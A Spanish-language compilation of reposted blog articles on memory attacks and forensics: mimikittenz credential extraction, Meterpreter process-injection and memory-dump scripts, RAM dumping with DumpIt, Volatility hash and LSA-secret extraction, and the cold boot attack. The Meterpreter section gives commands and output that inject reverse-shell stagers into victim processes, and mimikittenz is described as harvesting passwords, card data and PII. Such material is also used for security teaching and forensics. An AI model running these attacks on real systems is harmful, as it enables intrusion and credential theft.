mimikittenz: extracción de contraseñas en claro con ReadProcessMemory()/regex

mimikittenz de Jamieson O'Reilly aka putterpanda (atentos a su foto de perfil en Github lol!) es una herramienta de post-explotación en powershell/C sharp que utiliza la función de Windows ReadProcessMemory() para extraer contraseñas en claro de varios procesos.

Su objetivo es facilitar a nivel de usuario (sin necesidad de privilegios de administrador) la extracción de datos sensibles con el fin de maximizar los esfuerzos en la fase de post-explotación y aumentar el valor de la información recogida por cada objetivo.

Actualmente mimikittenz es capaz de extraer las siguientes credenciales de la memoria:

Webmail

•     Gmail
•     Office365
•     Outlook Web

Accounting

•     Xero
•     MYOB

Remote Access

•     Juniper SSL-VPN
•     Citrix NetScaler
•     Remote Desktop Web Access 2012

Developement

•     Jira
•     Github
•     Bugzilla
•     Zendesk
•     Cpanel

IHateReverseEngineers

•     Malwr
•     VirusTotal
•     AnubisLabs

Misc

•     Dropbox
•     Microsoft Onedrive
•     AWS Web Services
•     Slack
•     Twitter
•     Facebook

Además, mimikittenz también puede extraer fácilmente otros tipos de *jugosa* información de procesos utilizando patrones de expresiones regulares que incluyen pero no se limitan a:

- datos de TRACK2 (tarjetas de crédio) de los procesos de venta/POS
- datos PII
- claves de cifrado y otros

Regex personalizado - la sintaxis para añadir expresiones regulares personalizadas es la siguiente:

[mimikittenz.MemProcInspector]::AddRegex("","")

Personalizar proceso objetivo - sólo hay que añadir el nombre del proceso dentro del array:

$matches=[mimikittenz.MemProcInspector]::InspectManyProcs("iexplore","chrome","firefox")

Nota: Esta herramienta tiene como objetivo el espacio de direcciones de memoria del proceso, una vez que se mata el proceso la memoria "debería" ser limpiada e inaccesible, sin embargo hay algunos casos extremos en los que esto no ocurre

Github: https://github.com/putterpanda/mimikittenz

Fuente: http://www.hackplayers.com/2016/07/mimikittenz-extraccion-de-contrasenas.html

Manipulación de Memoria sobre una maquina comprometida utilizando Meterpreter

Meterpreter es bastante robusto a la hora de manipular la memoria de una víctima y los procesos cargados en ella, este nivel de potencia es alcanzado gracias a la definición de scripts meterpreter escritos en Ruby, ya que le permite al desarrollador crearlos y desplegarlos en metasploit o utilizar algunos existentes para diversos fines. En entradas anteriores se ha indicado el uso de algunos de estos scripts y herramientas adicionales como Volatility FrameWork y PMDump, en esta ocasión, se indicará el uso de algunos scripts adicionales para manipular la memoria de una victima determinada.

multi_meter_inject

Este script intentará crear una conexión reversa en la memoria de uno o muchos PID’s especificados por parámetro, en el caso de que estos PID no sean indicados, se iniciará por defecto un nuevo proceso con notepad.exe. Una de las principales ventajas de este script es que se pueden especificar múltiples host y multiples PID’s para crear el stager de meterpreter, esto significa que la sesión meterpreter creada, puede “replicarse” a otras maquinas en las que el atacante también tendrá un payload meterpreter esperando a la conexión del stager.
En resumen, el atacante tendrá la posibilidad de crear tantas sesiones meterpreter contra la maquina comprometida como maquinas disponga y cada una de estas sesiones será “insertada” en un proceso que se encuentra en ejecución en la maquina comprometida.

meterpreter > run multi_meter_inject -h Meterpreter Script for injecting a reverce tcp Meterpreter Payloadin to memory of multiple PIDs, if none is provided a notepad process.will be created and a Meterpreter Payload will be injected in to each. OPTIONS: -h Help menu. -m Start Exploit multi/handler for return connection -mp Provide Multiple PID for connections separated by comma one per IP. -mr Provide Multiple IP Addresses for Connections separated by comma. -p The port on the remote host where Metasploit is listening (default: 4444) -pt Specify Reverse Connection Meterpreter Payload. Default windows/meterpreter/reverse_tcp

Un ejemplo de ejecución de este script puede ser el siguiente:

meterpreter > run multi_meter_inject -mr 192.168.1.36,192.168.1.37 -p 3344 -mp 628,792 [*] Creating a reverse meterpreter stager: LHOST=192.168.1.36 LPORT=3344 [*] Injecting meterpreter into process ID 628 [*] Allocated memory at address 0x00d60000, for 290 byte stager [*] Writing the stager into memory… [+] Successfully injected Meterpreter in to process: 628 [*] Creating a reverse meterpreter stager: LHOST=192.168.1.37 LPORT=3344 [*] Injecting meterpreter into process ID 792 [*] Allocated memory at address 0x003e0000, for 290 byte stager [*] Writing the stager into memory… [+] Successfully injected Meterpreter in to process: 792

Con el comando anterior, se han creado dos sesiones meterpreter controladas por el atacante en las direcciones 192.168.1.36 y 192.168.1.37 ambas escuchando por el puerto 3344, estas sesiones han sido insertadas en los procesos 628 y 792 respectivamente, cada uno de estos procesos corresponde a un programa en ejecución en la maquina comprometida.

duplicate

Este script tiene una funcionalidad bastante similar al script multi_meter_inject ya que se encarga de replicar la sesión meterpreter en otro proceso del sistema operativo con el fin de que sea difícil cerrar el acceso desde la maquina atacada a la maquina del atacante

meterpreter > run duplicate -h OPTIONS: -D Disable the automatic multi/handler (use with -r to accept on another system) -P Process id to inject into; use instead of -e if multiple copies of one executable are running. -e Executable to inject into. Default notepad.exe, will fall back to spawn if not found. -h This help menu -p The port on the remote host where Metasploit is listening (default: 4546) -r The IP of a remote Metasploit listening for the connect back -s Spawn new executable to inject to. Only useful with -P. -w Write and execute an exe instead of injecting into a process

A modo de ejemplo, este script puede ser ejecutado con los siguientes parámetros

meterpreter > run duplicate -r 192.168.1.34 -p 4444 [*] Creating a reverse meterpreter stager: LHOST=192.168.1.34 LPORT=4444 [*] Running payload handler [*] Current server process: sgiByfbLo.exe (1780) [*] Duplicating into notepad.exe… [*] Injecting meterpreter into process ID 3884 [*] Allocated memory at address 0x00e10000, for 290 byte stager [*] Writing the stager into memory… [*] New server process: 3884

Con la maquina 192.168.1.34 controlada por el atacante en el puerto 4444 recibirá el stager correspondiente a la sesión meterpreter replicada.

process_memdump

En una entrada anterior se ha indicado el uso de pmdump para realizar un volcado de memoria usando un script de meterpreter externo al framework, con este comando se puede llevar a cabo esta misma tarea, solamente que en lugar de utilizar pmdump se utiliza memdump sobre el proceso seleccionado

meterpreter > run process_memdump -h USAGE: EXAMPLE: run process_dump putty.exe EXAMPLE: run process_dump -p 1234 OPTIONS: -h Help menu. -n Name of process to dump. -p PID of process to dump. -q Query the size of the Process that would be dump in bytes. -r Text file wih list of process names to dump memory for, one per line. -t toggle location information in dump.

Un ejemplo del uso de este script puede ser:

meterpreter > run process_memdump -p 556 [*] Dumping memory for iexplore.exe [*] Dumping Memory of iexplore.exe with PID: 556 [*] base size = 64 [*] base size = 128 [*] base size = 192 [*] base size = 1224 [*] base size = 1228 [*] base size = 1280 [*] base size = 1344 [*] base size = 2368 [*] base size = 2432 [*] base size = 2496 [*] Saving Dumped Memory to /root/.msf3/logs/scripts/proc_memdump/192.168.1.36_iexplore.exe_556_20110512.0758.dmp

Fuente: http://thehackerway.com/2011/06/10/359/

Dumpear datos de nuestra RAW / Analisis forense en Windows

Quien no se ah puesto a eliminar rastros de su " PC " cuando ah cometido un delito cybernetico o simplemente quiere esconder algo alguien cercano ?  han eliminado el "Historial " Los archivos temporales " "contraseñas guardadas e infinidades de cosas que uno no quiere que estén en su ordenador y creen que ya no hay pruebas de nada y hacen su vida normal como siempre ........

Pero lo que ellos no saben que aun asi borren del ordenador todos los datos o registros de ello, automáticamente nuestra "MEMORIA RAW" los almacenada de manera completa de manera autónoma .

Vamos a la acción mi gente! :P 

1 - vamos a descargar este programa llamado " DumpIt "la cual nos va a brindar extraer los datos de nuestra RAW.

Link de descarga : http://www.mediafire.com/download/pa1fepqqhq55r1h/DumpIt.exe

Una ves descargado lo vamos a ejecutar y le daremos "Y " para que inicie el proceso.
les saldra una pantalla como la siguiente :

como vemos en lo siguiente nos sale un directorio donde se guardara el archivo de la .raw , porque sale esa dirección ? , es simple porque yo lo abrí el programa en la carpeta " Downloads" si lo abres en escritorio de hecho que saldrá en el mismo .

* Destination = \??\C:\Users\Fredd\Downloads\FRED-20140424-015010.raw

Luego que termine el proceso  saldrá " + Processing... Success "

nos digerimos a la carpeta o lugar donde se encuentra para comprobar si se encuentra el archivo

 2 - Lo que utilizaremos sera el programa " WinHex " para abrir el archivo .raw  !!

Link de descarga : http://www.x-ways.net/winhex/index-m.html

procederemos a instalar , la instalación es muy fácil como cualquier otra herramienta de windows, Abriremos el " WinHex " una ves instalado : 

Pondremos en "File " luego en  " Open " y buscaremos en archivo .raw...... !!! example : 

Luego de ello le daremos en abrir y automáticamente nos aparecerá el código "Hexadecimal " 

Simplemente nosotros queremos el TEXTO " Numero " y "Alfabetico para saber los datos que deseamos auditar en este caso, " simplemente pondremos en la barra de herramienta del  "WinHex"

Le daremos clip  en "Text Display Only " y nos Aparecerá lo siguiente :

como vemos nos sale caracteres que simplemente no los entenderemos  ni siquiera nos interesa , ahora viene el jugo que derramo el vaso para el " camuflador " ,le daremos CLIP  en el icono de los " binoculares " el de color " BLACK " y nos parecerá lo siguiente :

en mi caso yo pondre @gmail.com , para ver que correos han sido abiertos supongamos  y le daremos " ok ", luego de ello nos saldra lo siguiente : 

Luego que aya buscado el texto @gmail.com , aparecera lo siguiente :

Como vemos lo ah encontrado y podemos bajar con la fecha " abajo " y  nos mostrara los demás datos con la misma palabra de búsqueda, también podemos hallar contraseñas,links, de todo  en este caso utilicen " su imaginación y curiosidad sobre que deseen hallar sin mas que decir esto fue todo , espero les aya gustado mis queridos fieles lectores, Saludos 

Fuente: http://backtrack-omar.blogspot.com/2014/04/dumpear-datos-de-nuestra-raw-analisis.html

Volatility Framework: Obteniendo hashes de un volcado de RAM

Hoy vamos a ver como recuperar tanto los LSA Secrets de un volcado de RAM, como un volcado de hashes, que se encuentren en la SAM. Lo más interesante, es que podremos entender como realizar dichas acciones consiguiendo las direcciones donde el plugin correspondiente de Volatility debe buscarlo. En otras palabras, hay que entender porque realizamos dichas acciones, ya que nos dan pie a muchas otras.

PoC: Recuperando hashes de un volcado y los LSA Secrets

Para descubrir la direcciones de memoria donde se encuentra la SAM, Security, etcétera, se utilizará el plugin hivelist. La sintaxis es sencilla vol -f hivelist.

Lo interesante de la ejecución anterior es la dirección virtual obtenida. Con ella podremos utilizar otros plugins para obtener otro tipo de información, por ejemplo en el caso de las LSA Secrets existe un plugin denominado lsadump con el que podremos obtener el contenido de dicho contenedor. Para ello, el plugin nos pide la dirección virtual de System y Security. La sintaxis es sencilla, vol -f -y -s SECURITY>.

Por último vamos a estudiar el plugin hashdump de Volatility Framework. Con este plugin podemos obtener un volcado de usuarios y hashes de la SAM de Windows. Para llevar a cabo dicha acción la sintaxis es la siguiente vol -f -y -s .

Interesante herramienta y plugins Volatility Framework, próximamente más artículos sobre esta herramienta forense que hace que el análisis de RAM sea mucho más llevadero.

Fuente:http://www.flu-project.com/volatility-framework-obteniendo-hashes-de-un-volcado-de-ram.html

COLD BOOT ATTACK: El peligro de la persistencia en la memoria RAM

Cold Boot Attack

Que tal, bueno el día de hoy hablare de lo que es elCold Boot Attack (ataque de arranque en frió) , este ataque se basa en aprovechar la persistencia en la memoria ram mediante el enfriamiento de la memoria.

Pero primero que nada:

¿Que es la persistencia?  Es la capacidad de un equipo para mantener la información incluso después de apagar la computadora.

La persistencia en la memoria ram es ocasionada por el material con las que están fabricadas, esta persistencia después de apagar la computadora puede tardar hasta 1 o 2 minutos en borrar por completo la información de la memoria.

El Cold boot attack se realiza enfriando la memoria para extender el tiempo de la persistencia de la información hasta 5 a 10 minutos.

Esta información es basada sobre una investigación hecha por la universidad de Princeton https://citp.princeton.edu/research/memory/

Aquí es donde entra la inseguridad, como hemos visto en post pasados de como Obtener las credenciales de servicios desde la memoria ram  el peligro que puede ser que nos saquen una copia a nuestra memoria Ram.

Imagen que muestra la persistencia en la memoria Ram hasta los 5 minutos después de apagar el equipo

Antes los investigadores forenses se llevaban el equipo informático apagado, ahora realizan puentes eléctricos para poderse llevar los equipos al laboratorio sin a pagarlo.

En esta ocasión mostrare un poco de la investigación hecha por princeston en la cual se basan en obtener las credenciales de los cifrados como de Bitlocker o Truecrypt, el problema es que la clave de cifrado tambien se guarda en la memoria RAM, y es posible extraerla.

Para realizar un dumpeo de una memoria ram con un cold boot attack se puede hacer la siguiente forma.

1.- Destapar las tapas de la memoria ram, y sin apagar usar un bote casero de Aire comprimido. Estos tiene una particularidad en que si los usas en una posicion que queden al revez, sueltan un liquido muy frio que se puede aplicar en la memoria directamente para enfriarla. En un caso mucho mas profesional se usa el nitrógeno

2.- Enfriamos la memoria, y cortamos la energia de la computadora o la apagamos bruscamente.

3.- Al volver a encenderla tenemos se tiene que bootear desde una usb o por PXE, podemos usar estas herramientas que brinda la universidad de princeston https://citp.princeton.edu/research/memory/code/

4.- Con la herramienta ya booteada podremos realizar una copia bit stream de la memoria, para poder analizarla. Tambien como parte de la investigacion de la universidad  de princeston publicaron herramientas para la localizacion de las Claves (AES o RSA).

Veamos el video de la prueba de concepto hecha por alumnos del Princeston.

embedded by Embedded Video

Bueno ya podemos ver lo valioso de la información guardada en la memoria RAM.

Contra medidas:  Aumentar la seguridad física de tu equipo informático, y apagar la computadora si no esta en uso.

Saludos

Fuente: http://www.flu-project.com/cold-boot-attack-el-peligro-de-la-persistencia-en-la-memoria-ram.html